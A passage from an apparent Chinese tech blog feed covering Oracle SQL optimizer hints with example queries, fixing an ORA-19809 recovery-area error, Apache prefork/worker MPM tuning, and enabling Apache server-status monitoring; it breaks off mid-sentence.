<P>13. /*+INDEX_FFS(TABLE INDEX_NAME)*/<BR>对指定的表执行快速全索引扫描,而不是全表扫描的办法.<BR>例如:<BR>SELECT /*+INDEX_FFS(BSEMPMS IN_EMPNAM)*/ * FROM BSEMPMS WHERE DPT_NO='TEC305';</P>
<P>14. /*+ADD_EQUAL TABLE INDEX_NAM1,INDEX_NAM2,...*/<BR>提示明确进行执行规划的选择,将几个单列索引的扫描合起来.<BR>例如:<BR>SELECT /*+INDEX_FFS(BSEMPMS IN_DPTNO,IN_EMPNO,IN_SEX)*/ * FROM BSEMPMS WHERE EMP_NO='SCOTT' AND DPT_NO='TDC306';</P>
<P>15. /*+USE_CONCAT*/<BR>对查询中的WHERE后面的OR条件进行转换为UNION ALL的组合查询.<BR>例如:<BR>SELECT /*+USE_CONCAT*/ * FROM BSEMPMS WHERE DPT_NO='TDC506' AND SEX='M';</P>
<P>16. /*+NO_EXPAND*/<BR>对于WHERE后面的OR 或者IN-LIST的查询语句,NO_EXPAND将阻止其基于优化器对其进行扩展.<BR>例如:<BR>SELECT /*+NO_EXPAND*/ * FROM BSEMPMS WHERE DPT_NO='TDC506' AND SEX='M';</P>
<P>17. /*+NOWRITE*/<BR>禁止对查询块的查询重写操作.</P>
<P>18. /*+REWRITE*/<BR>可以将视图作为参数.</P>
<P>19. /*+MERGE(TABLE)*/<BR>能够对视图的各个查询进行相应的合并.<BR>例如:<BR>SELECT /*+MERGE(V) */ A.EMP_NO,A.EMP_NAM,B.DPT_NO FROM BSEMPMS A (SELET DPT_NO<BR>,AVG(SAL) AS AVG_SAL FROM BSEMPMS B GROUP BY DPT_NO) V WHERE A.DPT_NO=V.DPT_NO<BR>AND A.SAL&gt;V.AVG_SAL;</P>
<P>20. /*+NO_MERGE(TABLE)*/<BR>对于有可合并的视图不再合并.<BR>例如:<BR>SELECT /*+NO_MERGE(V) */ A.EMP_NO,A.EMP_NAM,B.DPT_NO FROM BSEMPMS A (SELECT DPT_NO,AVG(SAL) AS AVG_SAL FROM BSEMPMS B GROUP BY DPT_NO) V WHERE A.DPT_NO=V.DPT_NO AND A.SAL&gt;V.AVG_SAL;</P>
<P>21. /*+ORDERED*/<BR>根据表出现在FROM中的顺序,ORDERED使ORACLE依此顺序对其连接.<BR>例如:<BR>SELECT /*+ORDERED*/ A.COL1,B.COL2,C.COL3 FROM TABLE1 A,TABLE2 B,TABLE3 C WHERE A.COL1=B.COL1 AND B.COL1=C.COL1;</P>
<P>22. /*+USE_NL(TABLE)*/<BR>将指定表与嵌套的连接的行源进行连接,并把指定表作为内部表.<BR>例如:<BR>SELECT /*+ORDERED USE_NL(BSEMPMS)*/ BSDPTMS.DPT_NO,BSEMPMS.EMP_NO,BSEMPMS.EMP_NAM FROM BSEMPMS,BSDPTMS WHERE BSEMPMS.DPT_NO=BSDPTMS.DPT_NO;</P>
<P>23. /*+USE_MERGE(TABLE)*/<BR>将指定的表与其他行源通过合并排序连接方式连接起来.<BR>例如:<BR>SELECT /*+USE_MERGE(BSEMPMS,BSDPTMS)*/ * FROM BSEMPMS,BSDPTMS WHERE BSEMPMS.DPT_NO=BSDPTMS.DPT_NO;</P>
<P>24. /*+USE_HASH(TABLE)*/<BR>将指定的表与其他行源通过哈希连接方式连接起来.<BR>例如:<BR>SELECT /*+USE_HASH(BSEMPMS,BSDPTMS)*/ * FROM BSEMPMS,BSDPTMS WHERE BSEMPMS.DPT_NO=BSDPTMS.DPT_NO;</P>
<P>25. /*+DRIVING_SITE(TABLE)*/<BR>强制与ORACLE所选择的位置不同的表进行查询执行.<BR>例如:<BR>SELECT /*+DRIVING_SITE(DEPT)*/ * FROM BSEMPMS,DEPT@BSDPTMS WHERE BSEMPMS.DPT_NO=DEPT.DPT_NO;</P>
<P>26. /*+LEADING(TABLE)*/<BR>将指定的表作为连接次序中的首表.</P>
<P>27. /*+CACHE(TABLE)*/<BR>当进行全表扫描时,CACHE提示能够将表的检索块放置在缓冲区缓存中最近最少列表LRU的最近使用端<BR>例如:<BR>SELECT /*+FULL(BSEMPMS) CAHE(BSEMPMS) */ EMP_NAM FROM BSEMPMS;</P>
<P>28. /*+NOCACHE(TABLE)*/<BR>当进行全表扫描时,CACHE提示能够将表的检索块放置在缓冲区缓存中最近最少列表LRU的最近使用端<BR>例如:<BR>SELECT /*+FULL(BSEMPMS) NOCAHE(BSEMPMS) */ EMP_NAM FROM BSEMPMS;</P>
<P>29. /*+APPEND*/<BR>直接插入到表的最后,可以提高速度.<BR>insert /*+append*/ into test1 select * from test4 ;</P>
<P>30. /*+NOAPPEND*/<BR>通过在插入语句生存期内停止并行模式来启动常规插入.<BR>insert /*+noappend*/ into test1 select * from test4 ;</P>
<P></P>
<P></P>
<TABLE>
<TBODY>
<TR vAlign=top align=left>
<TD>
<P><STRONG>Optimization Approaches</STRONG></P></TD>
<TD>
<P><STRONG>Access Methods</STRONG></P></TD></TR>
<TR vAlign=top align=left>
<TD>
<P>ALL_ROWS</P></TD>
<TD>
<P>AND_EQUAL</P></TD></TR>
<TR vAlign=top align=left>
<TD>
<P>CHOOSE</P></TD>
<TD>
<P>CLUSTER</P></TD></TR>
<TR vAlign=top align=left>
<TD>
<P>FIRST RULES</P></TD>
<TD>
<P>FULL</P></TD></TR>
<TR vAlign=top align=left>
<TD>
<P>RULE</P></TD>
<TD>
<P>HASH</P></TD></TR>
<TR vAlign=top align=left>
<TD>
<P>Parallel Execution</P></TD>
<TD>
<P>HASH_AJ</P></TD></TR>
<TR vAlign=top align=left>
<TD>
<P>APPEND*ORDERED</P></TD>
<TD>
<P>HASH_SJ ***</P></TD></TR>
<TR vAlign=top align=left>
<TD>
<P>STAR**</P></TD>
<TD>
<P>INDEX</P></TD></TR>
<TR vAlign=top align=left>
<TD>
<P>STAR_TRANSFORMATION*</P></TD>
<TD>
<P>INDEX_ASC</P></TD></TR>
<TR vAlign=top align=left>
<TD>
<P>Join Operations</P></TD>
<TD>
<P>INDEX_COMBINE*</P></TD></TR>
<TR vAlign=top align=left>
<TD>
<P>DRIVING_SITE*</P></TD>
<TD>
<P>INDEX_DESC</P></TD></TR>
<TR vAlign=top align=left>
<TD>
<P>USE_HASH**</P></TD>
<TD>
<P>INDEX_FFS*</P></TD></TR>
<TR vAlign=top align=left>
<TD>
<P>USE_MERGE</P></TD>
<TD>
<P>MERGE_AJ**</P></TD></TR>
<TR vAlign=top align=left>
<TD>
<P>USE_NL</P></TD>
<TD>
<P>MERGE_SJ***</P></TD></TR>
<TR vAlign=top align=left>
<TD>
<P><STRONG>Additional Hints</STRONG></P></TD>
<TD>
<P>ROW_ID</P></TD></TR>
<TR vAlign=top align=left>
<TD>
<P>CACHE</P></TD>
<TD>
<P>USE_CONCAT</P></TD></TR>
<TR vAlign=top align=left>
<TD>
<P>NOCACHE</P></TD>
<TD>
<P>NO_EXPAND***</P></TD></TR>
<TR vAlign=top align=left>
<TD>
<P>PUSH_SUBQ</P></TD>
<TD>
<P>REWRITE***</P></TD></TR>
<TR vAlign=top align=left>
<TD>
<P>MERGE***</P></TD>
<TD>
<P>NOREWRITE***</P></TD></TR>
<TR vAlign=top align=left>
<TD>
<P>NO_MERGE*</P></TD>
<TD>
<P>Join Orders</P></TD></TR>
<TR vAlign=top align=left>
<TD>
<P>PUSH_JOIN_PRED***</P></TD>
<TD></TD></TR>
<TR vAlign=top align=left>
<TD>
<P>NO_PUSH_JOIN_PRED***</P></TD>
<TD>
<P>NOAPPEND*</P></TD></TR>
<TR vAlign=top align=left>
<TD>
<P>ORDERED PREDICATES***</P></TD>
<TD>
<P>NOPARALLEL</P></TD></TR>
<TR vAlign=top align=left>
<TD></TD>
<TD>
<P>PARALLEL</P></TD></TR>
<TR vAlign=top align=left>
<TD></TD>
<TD>
<P>PARALLEL_INDEX*</P></TD></TR>
<TR vAlign=top align=left>
<TD></TD>
<TD>
<P>NO_PARALLEL_INDEX***</P></TD></TR></TBODY></TABLE>
<P></P>
<P>----------------------------------------------------------------------------</P>
<P><SPAN>提示(hint)从<SPAN>Oracle7中引入，目的是弥补基于成本优化器的缺陷。提示通常用来改变SQL执行计划，提高执行效率。</SPAN></SPAN></P>
<P></P>
<P><FONT size=4>1.使用提示需要遵循的原则<BR>1)仔细检查提示语法。尽量使用完整注释语法/*+ hint */<BR>2)使用表别名。如果在查询中指定了表别名，那么提示必须也使用表别名。例如：select /*+ index(e,dept_idx) */ * from emp e;<BR>3)不要在提示中使用模式名称：如果在提示中指定了模式的所有者，那么提示将被忽略。例如：<BR>select /*+ index(scott.emp,dept_idx) */ * from emp;<BR>4)检验提示。如果提示指定了不可用的访问路径，那么这个提示将被忽略。</FONT></P>
<P><FONT size=4>2.导致提示无效的条件：</FONT></P>
<P></P>
<TABLE cellSpacing=0 cellPadding=0 border=1>
<TBODY>
<TR>
<TD vAlign=top width=132>
<P align=left><SPAN><FONT size=4>提示</FONT></SPAN></P>
<P></P></TD>
<TD vAlign=top width=396>
<P align=center><SPAN><FONT size=4>被忽略的条件</FONT></SPAN></P>
<P></P></TD></TR>
<TR>
<TD vAlign=top width=132>
<P align=center><SPAN><FONT size=4>cluster</FONT></SPAN></P>
<P></P></TD>
<TD vAlign=top width=396>
<P align=center><SPAN><FONT size=4>与非簇表一同使用</FONT></SPAN></P>
<P></P></TD></TR>
<TR>
<TD vAlign=top width=132>
<P align=center><SPAN><FONT size=4>hash</FONT></SPAN></P>
<P></P></TD>
<TD vAlign=top width=396>
<P align=center><SPAN><FONT size=4>与非簇表一同使用</FONT></SPAN></P>
<P></P></TD></TR>
<TR>
<TD vAlign=top width=132>
<P align=center><SPAN><FONT size=4>hash_aj</FONT></SPAN></P>
<P></P></TD>
<TD vAlign=top width=396>
<P align=center><SPAN><FONT size=4>不存在子查询</FONT></SPAN></P>
<P></P></TD></TR>
<TR>
<TD vAlign=top width=132>
<P align=center><SPAN><FONT size=4>index</FONT></SPAN></P>
<P></P></TD>
<TD vAlign=top width=396>
<P align=center><SPAN><FONT size=4>指定的索引不存在</FONT></SPAN></P>
<P></P></TD></TR>
<TR>
<TD vAlign=top width=132>
<P align=center><SPAN><FONT size=4>index_combine</FONT></SPAN></P>
<P></P></TD>
<TD vAlign=top width=396>
<P align=center><SPAN><FONT size=4>不存在位图索引</FONT></SPAN></P>
<P></P></TD></TR>
<TR>
<TD vAlign=top width=132>
<P align=center><SPAN><FONT size=4>merge_aj</FONT></SPAN></P>
<P></P></TD>
<TD vAlign=top width=396>
<P align=center><SPAN><FONT size=4>不存在子查询</FONT></SPAN></P>
<P></P></TD></TR>
<TR>
<TD vAlign=top width=132>
<P align=center><SPAN><FONT size=4>parallel</FONT></SPAN></P>
<P></P></TD>
<TD vAlign=top width=396>
<P align=center><SPAN><FONT size=4>调用的不是<SPAN>TABLE ACCESS FULL计划</SPAN></FONT></SPAN></P>
<P></P></TD></TR>
<TR>
<TD vAlign=top width=132>
<P align=center><SPAN><FONT size=4>push_subq</FONT></SPAN></P>
<P></P></TD>
<TD vAlign=top width=396>
<P align=center><SPAN><FONT size=4>不存在子查询</FONT></SPAN></P>
<P></P></TD></TR>
<TR>
<TD vAlign=top width=132>
<P align=center><SPAN><FONT size=4>star</FONT></SPAN></P>
<P></P></TD>
<TD vAlign=top width=396>
<P align=center><SPAN><FONT size=4>事实表中存在不恰当的索引</FONT></SPAN></P>
<P></P></TD></TR>
<TR>
<TD vAlign=top width=132>
<P align=center><SPAN><FONT size=4>use_concat</FONT></SPAN></P>
<P></P></TD>
<TD vAlign=top width=396>
<P align=center><SPAN><FONT size=4>在<SPAN>where子句中不存在多个or条件</SPAN></FONT></SPAN></P>
<P></P></TD></TR>
<TR>
<TD vAlign=top width=132>
<P align=center><SPAN><FONT size=4>use_nl</FONT></SPAN></P>
<P></P></TD>
<TD vAlign=top width=396>
<P align=center><SPAN><FONT size=4>表中不存在索引</FONT></SPAN></P>
<P></P></TD></TR></TBODY></TABLE><BR><FONT size=4>3几种主要的优化模式：<BR>1)all_rows:all_rows是基于成本的优化方法，目的是提供整体最佳的吞吐量和最小的资源消耗。all_rows提示倾向使用全表扫描，而 且不适用于OLTP数据库。使用all_rows提示应该保障查询中涉及的表和索引拥有使用analyze命令分析得到的统计资料。<BR>2)rule:rule提示使Oracle为查询提供基于规则的优化模式。在怀疑CBO生成了非优化的执行计划时，通常首先尝试使用rule提示。Rule提示忽略表和索引的统计资料，并且使用基本的试探法生成执行计划。<BR>3)first_rows：这个提示是基于成本的优化方法，目的是提供最快的反应时间。使用first_rows提示应该保障查询中涉及的表和索引拥有使用analyze命令分析得到的统计资料。<BR>4.表的连接提示<BR>1)use_hash提示<BR>use_hash 提示对指定的表进行散列连接。散列连接是Oracle用以驱动表（最小的表）向RAM区中装载记录的方法，RAM区由HASH_AREA_SIZE定义。 散列连接适合中间结果比较大的情况。使用散列连接时,HASH_AREA_SIZE对速度影响非常大，如果驱动表不能一次装入内存，那么需要使用TEMP 表空间，这种情况下速度比较慢。这个参数可以在session级别动态修改，需要进行散列连接时可以临时增大，速度可能显著增加。<BR>2)use_merge 提示<BR>use_merge 提示强制执行一个排序合并操作。排序合并操作通常与并行查询结合使用，因为排序合并操作倾向于全表扫描。该提示适合于生成大型结果集的查询。<BR>3)use_nl：<BR>use_nl提示将强制对目标表执行嵌套循环连接。use_nl提示很少用于SQL调整，因为CBO和RBO更倾向于使用循环嵌套连接。<BR>4)star提示<BR>star 提示强制使用星型查询计划。前提是查询中至少三个表，而且在事实表中存在恰当的索引 <BR>5.表反连接提示<BR>SQL反连接是指在语句中包含NOT IN 或者NOT EXISTS子句时执行的操作。<BR>1)merge_aj<BR>在使用全表访问比索引访问更好的情况下，可以在NOT IN子查询中使用merge_aj提示以便执行反连接。<BR>2)hash_aj<BR>hash_aj 提示放在NOT IN 子查询中用来希望执行散列连接时，执行散列反连接。<BR>hash_aj和merge_aj要求子查询列非空。<BR>6INDEX提示<BR>1)INDEX提示简介：<BR>INDEX提示被用于显示指定表名或表名与索引。如果只指定了表名，那么优化器将使用表中的"最优"索引。在永久优化SQL语句中，建议指定表和索引。<BR>2)index_join 提示<BR>index_join 提示明确要求优化器使用索引连接来作为访问路径。<BR>3)and_equal 提示<BR>and_equal 提示可以使多个非唯一的索引合并索引，并且使这些索引操作时就象单个连续索引一样。该提示如果被应用，在查询计划中显示的是AND-EQUAL<BR>4)index_asc 提示<BR>index_asc 提示使用升序索引。这是默认的优化器行为<BR>5)no_index 提示<BR>该提示忽略索引存在，类似full<BR>6)index_combine提示<BR>index_combine 提示用来强制使用位图索引作为表的访问路径。<BR>7)index_ffs提示<BR>索引快速完全扫描可以在不访问任何记录的情况下完成查询。<BR>8)use_concat提示<BR>use_concat提示要求为所有的OR条件使用UNION ALL执行计划，并将这个查询重新书写为多个查询。如果在WHERE子句中存在大量OR条件，可以考虑使用use_concat提示。<BR>7.总结<BR>1)因为提示放在注释中，所以如果提示通现存的执行计划不兼容，或者提示不正确，有可能被忽略。<BR>2)在使用RBO时，可以通过提示将指定的查询更改为CBO。切记要对查询中涉及的所有表和索引进行分析<BR>3)在使用CBO的时候，可以通过添加RULE提示或者FIRST_ROWS提示来开始调整一个可以的SQL语句<BR>4)提示可以在子查询中使用，但是外部查询的提示不会带入子查询。<BR>5)如果在查询计划中发现卡笛尔积（CARTESIAN），则要尽量解决。</FONT></DIV></TD></TR></TBODY></TABLE></A>]]></description>
</item><item>
<title><![CDATA[oracle]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=zhanglincon&amp;id=41722</link>
<author>zhanglincon</author>
<pubDate>2008/12/13 1:14:03</pubDate>
<description><![CDATA[
<P><FONT color=#333399 size=3>今天查看数据库管理器出错日志oradim.log 发现如下报警信息：<BR>ORA-16038: log 3 sequence# 472 cannot be archived<BR>ORA-19809: limit exceeded for recovery files<BR>ORA-00312: online log 3 thread 1: 'C:\ORACLE\PRODUCT\10.2.0\ORADATA\CHEP\REDO03.LOG'</FONT></P>
<P><FONT color=#333399 size=3>查了一下错误信息<BR>ORA-19809: limit exceeded for recovery files <BR>Cause: The limit for recovery files specified by the DB_RECOVERY_FILE_DEST_SIZE was exceeded. <BR>Action: The error is accompanied by 19804. See message 19804 for further details. </FONT></P>
<P><FONT color=#333399 size=3>ORA-19804: cannot reclaim string bytes disk space from string limit <BR>Cause: Oracle cannot reclaim disk space of specified bytes from the DB_RECOVERY_FILE_DEST_SIZE limit. <BR>Action: There are five possible solutions: <BR>1) Take frequent backup of recovery area using RMAN. <BR>2) Consider changing RMAN retention policy. <BR>3) Consider changing RMAN archivelog deletion policy.<BR>4) Add disk space and increase DB_RECOVERY_FILE_DEST_SIZE. <BR>5) Delete files from recovery area using RMAN. </FONT></P>
<P><FONT color=#333399 size=3>oracle10g在默认情况下，归档日志是保存在闪回恢复区的，如果你建库的时候用的默认设置，<BR>闪回恢复区应该是2G，空间被占满了以后就无法再归档了<BR>你可以用下面的命令查看其大小和存储位置<BR>SQL&gt; show parameter db_recovery_file_dest;</FONT></P>
<P><FONT color=#333399 size=3>NAME&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TYPE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VALUE<BR>------------------------------------ ----------- ------------------------------<BR>db_recovery_file_dest&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; C:\oracle\product\10.2.0/flash_recovery_area<BR>db_recovery_file_dest_size&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; big integer 2G</FONT></P>
<P><BR><FONT color=#333399 size=3>解决方法：<BR>1.增大闪回恢复区。<BR>ALTER SYSTEM SET db_recovery_file_dest_size=4g scope=both;</FONT></P>
<P><FONT color=#333399 size=3>2.将归档设置到其他目录，修改alter system set log_archive_dest = 其他路径<BR>可事先用show parameter log_archive_dest查看</FONT></P>
<P><FONT color=#333399 size=3>3.转移或者删除闪回恢复区里的归档日志。</FONT></P>]]></description>
</item><item>
<title><![CDATA[Apache 2.0 优化 中prefork.c模块和worker.c模块]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=zhanglincon&amp;id=41537</link>
<author>zhanglincon</author>
<pubDate>2008/12/4 19:11:54</pubDate>
<description><![CDATA[<A>　接触这两个配置时很迷糊，全部开启或全部注释没有几多变化。今天搜索到这么一篇讲得还不错的文章，看了几篇，还是不能完全记住，做一个收藏。<BR>空闲子进程：是指没有正在处理请求的子进程。<BR>1、prefork.c模块(一个非线程型的、预派生的MPM)<BR>prefork MPM 使用多个子进程，每个子进程只有一个线程。每个进程在某个确定的时间只能维持一个连接。在大多数平台上，Prefork MPM在效率上要比Worker MPM要高，但是内存使用大得多。prefork的无线程设计在某些情况下将比worker更有优势：他能够使用那些没有处理好线程安全的第三方模块，并 且对于那些线程调试困难的平台而言，他也更容易调试一些。<BR>ServerLimit 20000<BR>StartServers 5<BR>MinSpareServers 5<BR>MaxSpareServers 10<BR>MaxClients 1000<BR>MaxRequestsPerChild 0<BR>ServerLimit&nbsp;&nbsp;&nbsp;&nbsp; 2000<BR>//默认的MaxClient最大是256个线程,假如想配置更大的值，就的加上ServerLimit这个参数。20000是ServerLimit这个参数的最大值。假如需要更大，则必须编译apache,此前都是无需重新编译Apache。<BR>生效前提：必须放在其他指令的前面<BR>StartServers 5<BR>//指定服务器启动时建立的子进程数量，prefork默认为5。<BR>MinSpareServers 5<BR>//指定空闲子进程的最小数量，默认为5。假如当前空闲子进程数少于MinSpareServers ，那么Apache将以最大每秒一个的速度产生新的子进程。此参数不要设的太大。<BR>MaxSpareServers 10<BR>//配置空闲子进程的最大数量，默认为10。假如当前有超过MaxSpareServers数量 的空闲子进程，那么父进程将杀死多余的子进程。此参数不要 设的太大。假如您将该指令的值配置为比MinSpareServers小，Apache将会自动将其修改成"MinSpareServers+1"。<BR>MaxClients 256<BR>//限定同一时间客户端最大接入请求的数量(单个进程并发线程数)，默认为256。任何超过MaxClients限制的请求都将进入等候队列,一旦一个链接被释放，队列中的请求将得到服务。要增大这个值，您必须同时增大ServerLimit 。<BR>MaxRequestsPerChild 10000<BR>//每个子进程在其生存期内允许伺服的最大请求数量，默认为10000.到达MaxRequestsPerChild的限制后，子进程将会结束。假如MaxRequestsPerChild为"0"，子进程将永远不会结束。<BR>将MaxRequestsPerChild配置成非零值有两个好处：<BR>1.能够防止(偶然的)内存泄漏无限进行，从而耗尽内存。 <BR>2.给进程一个有限寿命，从而有助于当服务器负载减轻的时候减少活动进程的数量。<BR>工作方式：<BR>一个单独的控制进程(父进程)负责产生子进程，这些子进程用于监听请求并作出应答。Apache总是试图保持一些备用的 (spare)或是空闲的子进程 用于迎接即将到来的请求。这样客户端就无需在得到服务前等候子进程的产生。在Unix系统中，父进程通常以root身份运行以便邦定80端口，而 Apache产生的子进程通常以一个低特权的用户运行。User和Group指令用于配置子进程的低特权用户。运行子进程的用户必须要对他所服务的内容有 读取的权限，但是对服务内容之外的其他资源必须拥有尽可能少的权限。<BR>2、worker.c模块(支持混合的多线程多进程的多路处理模块)<BR>worker MPM 使用多个子进程，每个子进程有多个线程。每个线程在某个确定的时间只能维持一个连接。通常来说，在一个高流量的HTTP服务器上，Worker MPM是个比较好的选择，因为Worker MPM的内存使用比Prefork MPM要低得多。但worker MPM也由不完善的地方，假如一个线程崩溃，整个进程就会连同其任何线程一起"死掉".由于线程共享内存空间，所以一个程式在运行时必须被系统识别为"每 个线程都是安全的"。<BR>ServerLimit 50<BR>ThreadLimit 200<BR>StartServers 5<BR>MaxClients 5000<BR>MinSpareThreads 25<BR>MaxSpareThreads 500<BR>ThreadsPerChild 100<BR>MaxRequestsPerChild 0<BR>ServerLimit 16<BR>//服务器允许配置的进程数上限。这个指令和ThreadLimit结合使用配置了MaxClients最大允许配置的数值。任何在重启期间对这个指令的改变都将被忽略，但对MaxClients的修改却会生效。<BR>ThreadLimit 64<BR>//每个子进程可配置的线程数上限。这个指令配置了每个子进程可配置的线程数ThreadsPerChild上限。任何在重启期间对这个指令的改变都将被忽略，但对ThreadsPerChild的修改却会生效。默认值是"64".<BR>StartServers 3<BR>//服务器启动时建立的子进程数，默认值是"3"。<BR>MinSpareThreads 75<BR>//最小空闲线程数,默认值是"75"。这个MPM将基于整个服务器监控空闲线程数。假如服务器中总的空闲线程数太少，子进程将产生新的空闲线程。<BR>MaxSpareThreads 250<BR>//配置最大空闲线程数。默认值是"250"。这个MPM将基于整个服务器监控空闲线程数。假如服 务器中总的空闲线程数太多，子进程将杀死多余的空闲线 程。MaxSpareThreads的取值范围是有限制的。Apache将按照如下限制自动修正您配置的值：worker需要其大于等于 MinSpareThreads加上ThreadsPerChild的和<BR>MaxClients 400<BR>//允许同时伺服的最大接入请求数量(最大线程数量)。任何超过MaxClients限制的请求都将进入等候 队列。默认值是"400",16 (ServerLimit)乘以25(ThreadsPerChild)的结果。因此要增加MaxClients的时候，您必须同时增加 ServerLimit的值。<BR>ThreadsPerChild 25<BR>//每个子进程建立的常驻的执行线程数。默认值是25。子进程在启动时建立这些线程后就不再建立新的线程了。<BR>MaxRequestsPerChild 0<BR>//配置每个子进程在其生存期内允许伺服的最大请求数量。到达MaxRequestsPerChild的限制后，子进程将会结束。假如MaxRequestsPerChild为"0"，子进程将永远不会结束。<BR>将MaxRequestsPerChild配置成非零值有两个好处：<BR>1.能够防止(偶然的)内存泄漏无限进行，从而耗尽内存。 <BR>2.给进程一个有限寿命，从而有助于当服务器负载减轻的时候减少活动进程的数量。 <BR>注意<BR>对于KeepAlive链接，只有第一个请求会被计数。事实上，他改变了每个子进程限制最大链接数量的行为。<BR>工作方式：<BR>每个进程能够拥有的线程数量是固定的。服务器会根据负载情况增加或减少进程数量。一个单独的控制进程(父进程)负责子进程的建 立。每个子进程能够建立 ThreadsPerChild数量的服务线程和一个监听线程，该监听线程监听接入请求并将其传递给服务线程处理和应答。Apache总是试图维持一个备 用(spare)或是空闲的服务线程池。这样，客户端无须等待新线程或新进程的建立即可得到处理。在Unix中，为了能够绑定80端口，父进程一般都是以 root身份启动，随后，Apache以较低权限的用户建立子进程和线程。User和Group指令用于配置Apache子进程的权限。虽然子进程必须对 其提供的内容拥有读权限，但应该尽可能给予他较少的特权。另外，除非使用了suexec ，否则，这些指令配置的权限将被CGI脚本所继承。<BR>公式：<BR>ThreadLimit &gt;= ThreadsPerChild<BR>MaxClients = MinSpareThreads+ThreadsPerChild<BR>硬限制：<BR>ServerLimi和ThreadLimit这两个指令决定了活动子进程数量和每个子进程中线程数量的硬限制。要想改变这个硬限制必须完全停止服务器然后再启动服务器(直接重启是不行的)。<BR>Apache在编译ServerLimit时内部有一个硬性的限制，您不能超越这个限制。<BR>prefork MPM最大为"ServerLimit 200000"<BR>其他MPM(包括work MPM)最大为"ServerLimit 20000<BR>Apache在编译ThreadLimit时内部有一个硬性的限制，您不能超越这个限制。<BR>mpm_winnt是"ThreadLimit 15000"<BR>其他MPM(包括work prefork)为"ThreadLimit 20000<BR>注意<BR>使用ServerLimit和ThreadLimit时要特别当心。假如将ServerLimit和ThreadLimit配置成一个高出实际需要许多的值，将会有过多的共享内存被分配。当配置成超过系统的处理能力，Apache可能无法启动，或系统将变得不稳定。</A>]]></description>
</item><item>
<title><![CDATA[有关Apache Server Status和Cacti对Apache的监控]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=zhanglincon&amp;id=41162</link>
<author>zhanglincon</author>
<pubDate>2008/11/14 22:59:25</pubDate>
<description><![CDATA[<A>　
<P>我们平时使用apache常常了解他的性能只能使用ps aux|grep httpd|wc -l查看有多少个进程,但处理了多少http的请求我们不清楚,进程是不是在工作,还是在等都不是很明白,要了解apache的性能,我们需要使用Apache Server Status的模块来详细了解apache工作的怎么样.下面我还介绍使用cacti来监控它.</P>
<P>对Apache Server Status的启用<BR>对Apache的状态管理的模块是LoadModule status_module modules/mod_status.so,所以这个需要有<BR>然后打开下面的配置<BR>ExtendedStatus On<BR>配置Apache Server Status的权限<BR>&lt;location /server-status&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SetHandler server-status<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Order Deny,Allow<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Deny from all<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Allow from 60.60.60.60<BR>&lt;/location&gt;</P>
<P>打开查看的话就使用http://60.60.60.60/server-status来访问，注意VH的apache要设置在一个VH中,不然你分不清是那个地址来查看看这个信息.但ExtendedStatus不能放在VH中.<BR>上面的链接还可以加个?refresh=N来设置多久自动刷新一次</P>
<P>如下,是我的机器的显示<BR>Apache Server Status for 60.60.60.60</P>
<P>Server Version: Apache/2.2.3 (CentOS)<BR>Server Built: Jan 15 2008 20:33:41 </P>
<P>Current Time: Wednesday, 03-Sep-2008 17:17:37 CST<BR>Restart Time: Wednesday, 03-Sep-2008 17:09:44 CST<BR>Parent Server Generation: 9<BR>Server uptime: 7 minutes 53 seconds<BR>Total accesses: 19517 - Total Traffic: 1.4 GB<BR>CPU Usage: u27.78 s2.67 cu0 cs0 - 6.44% CPU load<BR>41.3 requests/sec - 3.0 MB/second - 73.5 kB/request<BR>131 requests currently being processed, 33 idle workers</P>
<P>KKKK_WK.KKKK_KKC_____C_CWKKK_CK_.K_WKK.KK__K_KK.KKK_W_KKCWKKW.K.<BR>KC__KW_KW._KKKKKWCKKK_K.KKCCWKKKW_KW.K.KWC._W.CKKKKK.KKKK_KKC_.K<BR>_K..._K.WC._..KKC._.._..KK__.C..WK.CK.K.WWKCK..KK_.W.K...K..WKCC<BR>..WKKK..K.KK...W.K..W.K.KK..</P>
<P>server-status 的输出中每个字段所代表的意义如下：<BR>字段&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;说明<BR>Server Version&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;Apache 服务器的版本。<BR>Server Built&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;Apache 服务器<SPAN class=t_tag onclick=tagshow(event) href="http://bbs.linuxtone.org/tag.php?name=%B1%E0%D2%EB">编译</SPAN>安装的时间。<BR>Current Time&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;目前的系统时间。<BR>Restart Time&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;Apache 重新启动的时间。<BR>Parent Server Generation&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;Apache 父程序 (parent process) 的世代编号，就是 httpd 接收到 SIGHUP 而重新启动的次数。<BR>Server uptime&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;Apache 启动后到现在经过的时间。<BR>Total accesses&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;到目前为此 Apache 接收的联机数量及传输的数据量。<BR>CPU Usage&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;目前 CPU 的使用情形。<BR>_SWSS....&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;所有 Apache process 目前的状态。每一个字符表示一个程序，最多可以显示 256 